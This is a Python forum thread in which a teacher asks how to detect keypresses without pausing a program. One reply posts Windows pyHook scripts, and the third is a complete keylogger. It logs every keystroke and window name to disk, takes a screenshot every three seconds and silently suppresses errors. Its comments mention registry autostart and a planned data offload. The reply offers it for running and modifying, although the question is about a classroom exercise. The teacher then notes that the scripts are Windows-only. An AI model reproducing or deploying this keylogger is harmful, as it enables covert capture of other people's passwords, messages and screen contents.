Capturing keystrokes during program execution

[npcarp]

Is this hard?

I am introducing Python to my students and want to make a simple, interactive program that will, while it's running, 'listen' for any keyboard events. That is, I don't want to include an 'input' statement - that would pause execution till someone answered. I just want it to keep running, say, printing an 'a' on the screen every 10 seconds, until the user types a 'b'. Then printing a 'b' every 10 seconds till the user types in some other character...

It seems that this should not be hard; something with sys.stdin, perhaps. The hours I've spent on it are getting embarrassing.

I've fooled around with it and looked though books and the only solution I've come up with was to import pygame.py and use its event handling. This seems like massive overkill for what should be an easy matter.

I'm using IDLE with MacPython 2.5.1 on Mac OS 10.4.11

Thanks for any help on this problem.

Neal C.

[Elias Alhanatis]

Hi!

I am realy "out" of this subject , but i stumbled on some scripts that might
help you....

run them , modify them , and hopefully they will work for you....

import pyHook
import pygame
 
# create a keyboard hook
def OnKeyboardEvent(event):
    print 'MessageName:',event.MessageName
    print 'Message:',event.Message
    print 'Time:',event.Time
    print 'Window:',event.Window
    print 'WindowName:',event.WindowName
    print 'Ascii:', event.Ascii, chr(event.Ascii)
    print 'Key:', event.Key
    print 'KeyID:', event.KeyID
    print 'ScanCode:', event.ScanCode
    print 'Extended:', event.Extended
    print 'Injected:', event.Injected
    print 'Alt', event.Alt
    print 'Transition', event.Transition
    print '---'
    if event.Key.lower() in ['lwin', 'tab', 'lmenu']:
        return False    # block these keys
    else:
        # return True to pass the event to other handlers
        return True
 
# create a hook manager
hm = pyHook.HookManager()
# watch for all keyboard events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
 
# initialize pygame and start the game loop
pygame.init()
 
while(1):
    pygame.event.pump()

Second script:

import pyHook
import time
import pythoncom
def OnKeyboardEvent(event):
   print event.Ascii
def main():
   hm = pyHook.HookManager()
   hm.KeyDown = OnKeyboardEvent
   hm.HookKeyboard()
   while True:
     pythoncom.PumpMessages()
if __name__ == '__main__':
    main()
 

script 3

## Windows Only Script!!!
################################################## ##########################
#
## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
##
## Copyright (C) 2008, Jack Trades
##
## This program is free software: you can redistribute it and/or modify
## it under the terms of the GNU General Public License as published by
## the Free Software Foundation, either version 3 of the License, or
## (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with this program. If not, see <http://www.gnu.org/licenses/>
##
## Recent Changes:
## Added quality setting to grabScreen
## Wrapped all functions in try/except blocks to silently pass over errors
##
## TODO:
## Write function to send data to secure ftp server in local network
## Write any errors to a text file
################################################## ##########################
#
## Requires: pyHook, win32all, PIL
 
import pyHook
import pythoncom
import ImageGrab
from time import time
from threading import Timer
 
 
################################################## ##########################
#
## Start-Up
################################################## ##########################
#
 
## The full path is required when started automatically through windows registry
## Need to find a fix to allow relative paths (this way is UGLY!)
folder = 'C:\\Python25\\'
 
filename = folder+'daata\\'+str(time()) ## Each program start creates a new file
skippedKeys = set( (0,) )
 
def offloadData():
    """Every time the program starts it should offload its log file and
    screenshots to another computer. """
    pass
 
 
############################################################################
#
## Keylogger
############################################################################
#
## The logger skips over keys defined in the global variable *skippedKeys*
 
def writeData(eventWindow, ascii):
    """Appends each keystroke to file *filename* as defined at the top"""
    try:
        eventTime = time()
        f = open(filename, 'a')
        f.write(str( (ascii, eventTime, eventWindow) )+',')
        f.close()
    except:
        pass
 
def onKeyboardEvent(event):
    """This function is called by pyHook each time a key is pressed.
    It writes the (key,time,window) to the logfile as defined in writeData()
    It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
    try:
        eventWindow, ascii = event.WindowName, event.Ascii
        if ascii not in skippedKeys: ## skippedKeys is a global variable
            ascii = chr(ascii) ## uncomment to store chr(ascii) values
            print ascii ## uncomment to print keys toscreen
            writeData(eventWindow, ascii)
            return True ## passes the event to otherhandlers
    except:
        return True ## ensures that we pass the key along
                    ## even if an error occurs
 
 
################################################## ##########################
#
## Screenshots
################################################## ##########################
#
 
def grabScreen(imageQuality=20):
    """Take a screenshot and save it to the folder screens// with filename
    time()"""
    try:
        img = ImageGrab.grab()
        img.save(folder+'screens\\'+str(time())+'.jpg', quality=imageQuality)
    except:
        pass
 
def startScreenshots(delay=3):
    """Takes a screenshot every X seconds using grabScreen()"""
    try:
        grabScreen()
        t = Timer(delay, startScreenshots, [delay])
        t.start()
    except:
        pass
 
################################################## ##########################
#
## Main
################################################## ##########################
#
 
def run(delay=3):
    try:
## Start saving screenshots every X seconds
        startScreenshots(delay)
## Setup a HookManager and bind OnKeyboardEvent to HookManager.KeyDown
        hm = pyHook.HookManager()
        hm.KeyDown = onKeyboardEvent
        hm.HookKeyboard()
## Pump keys into HookManager | Does this need a try/except ?
        try:
            pythoncom.PumpMessages()
        except:
            pass
    except:
        pass
 
if __name__ == '__main__':
    try:
        run(3) ## Run keylogger with 3 second delay between screenshots
    except:
        pass

Hope those help!!

Elias

[npcarp]

Hi!

I am realy "out" of this subject , but i stumbled on some scripts that might
help you....

run them , modify them , and hopefully they will work for you....

. . .

Hope those help!!

Elias

Thanks, anyway, but these all require Windows (pyHook is Windows-only) and I'm on Mac OS X (10.4.11)

Apparently this is harder in Python than I anticipated. That is, there's no built-in Python word that, unlike «input()» or «raw_input()», will look at the input stream from the keyboard to see if there is anything there without interrupting the program execution and 'waiting' till the user hits a Return or Enter key.

Bummer.